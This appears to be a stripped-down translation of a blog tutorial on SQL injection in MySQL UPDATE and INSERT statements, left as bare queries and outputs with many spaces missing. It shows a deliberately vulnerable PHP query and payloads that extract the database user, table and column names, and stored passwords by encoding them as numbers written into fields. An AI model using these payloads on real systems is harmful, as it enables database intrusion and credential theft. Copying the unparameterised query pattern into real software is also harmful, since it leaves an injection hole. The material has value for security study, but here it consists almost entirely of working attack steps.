$query = "UPDATE users SET username ='$username' WHERE id = '$id';";
username=test&id=16
mysql>select 'test' =0;
+-----------+
| 'test'=0 |
+-----------+
| 1 |
+-----------+
mysql>select !'test';
+---------+
| !'test'|
+---------+
| 1 |
+---------+
mysql>select 'test' + 123;
+--------------+
| 'test' +123 |
+--------------+
| 123 |
+--------------+
mysql>select 'test' + ~0;
+-----------------------+
| 'test' +~0 |
+-----------------------+
|1.8446744073709552e19 |
+-----------------------+
mysql>select ~0 + 0e0;
+-----------------------+
| ~0 +0e0 |
+-----------------------+
|1.8446744073709552e19 |
+-----------------------+
mysql>select (~0+0e0) = ('test' + ~0) ;
+--------------------------+
| (~0+0e0)= ('test' + ~0) |
+--------------------------+
| 1 |
+--------------------------+
mysql>select 'test' | ~0;
+----------------------+
| 'test' |~0 |
+----------------------+
|18446744073709551615 |
+----------------------+
mysql>select conv(hex(version()), 16, 10);
+------------------------------+
|conv(hex(version()), 16, 10) |
+------------------------------+
|58472576988216 |
+------------------------------+
mysql>select unhex(conv(58472576987956, 10, 16));
+-------------------------------------+
|unhex(conv(58472576987956, 10, 16)) |
+-------------------------------------+
|5.5.34 |
+-------------------------------------+
selectconv(hex(substr(user(),1 + (n-1) * 8, 8 * n)), 16, 10);
mysql>select conv(hex(substr(user(),1 + (1-1) * 8, 8 * 1)), 16, 10);
+--------------------------------------------------------+
|conv(hex(substr(user(),1 + (1-1) * 8, 8 * 1)), 16, 10) |
+--------------------------------------------------------+
| 8245931987826405219 |
+--------------------------------------------------------+
mysql>select conv(hex(substr(user(),1 + (2-1) * 8, 8 * 2)), 16, 10);
+--------------------------------------------------------+
|conv(hex(substr(user(),1 + (2-1) * 8, 8 * 2)), 16, 10) |
+--------------------------------------------------------+
|107118236496756 |
+--------------------------------------------------------+
mysql>select concat(unhex(conv(8245931987826405219, 10, 16)),unhex(conv(107118236496756, 10, 16)));
+----------------------------------------------------------------------------------------+
|concat(unhex(conv(8245931987826405219, 10, 16)), unhex(conv(107118236496756,10, 16))) |
+----------------------------------------------------------------------------------------+
|root@localhost |
+----------------------------------------------------------------------------------------+
selectconv(hex(substr((select table_name from information_schema.tables wheretable_schema=schema() limit 0,1),1 + (n-1) * 8, 8*n)), 16, 10);
selectconv(hex(substr((select column_name from information_schema.columns wheretable_name=’Name of your table’ limit 0,1),1 + (n-1) * 8, 8*n)), 16, 10);
updateemails set email_id='test'|conv(hex(substr(user(),1 + (n-1) * 8, 8 * n)),16,10) where id='16';
insertinto users values (17,'james', 'bond');
insertinto users values (17,'james', 'bond'|conv(hex(substr(user(),1 + (n-1) * 8, 8 *n)),16, 10);
updateusers set username = 'test'| conv(hex(substr((select password from (select *from users) as x limit 0,1 ) ,1 + (1-1) * 8, 8 * 1)),16, 10) where id='16';
Payload= name=test'| conv(hex(substr(user(),1 + (1-1) * 8, 8 * 1)),16, 10) whereid=16;&id=16
updateusers set username = 'test' | conv(hex(substr(user(),1 + (1-1) * 8, 8 * 1)),16,10) where id=16;' where id = '16';
mysql>select unhex(conv(8245931987826405219, 10, 16));
+------------------------------------------+
|unhex(conv(8245931987826405219, 10, 16)) |
+------------------------------------------+
|root@loc |
+------------------------------------------+
本文为简单翻译,原文:https://osandamalith.com/2017/02/08/mysql-injection-in-update-insert-and-delete/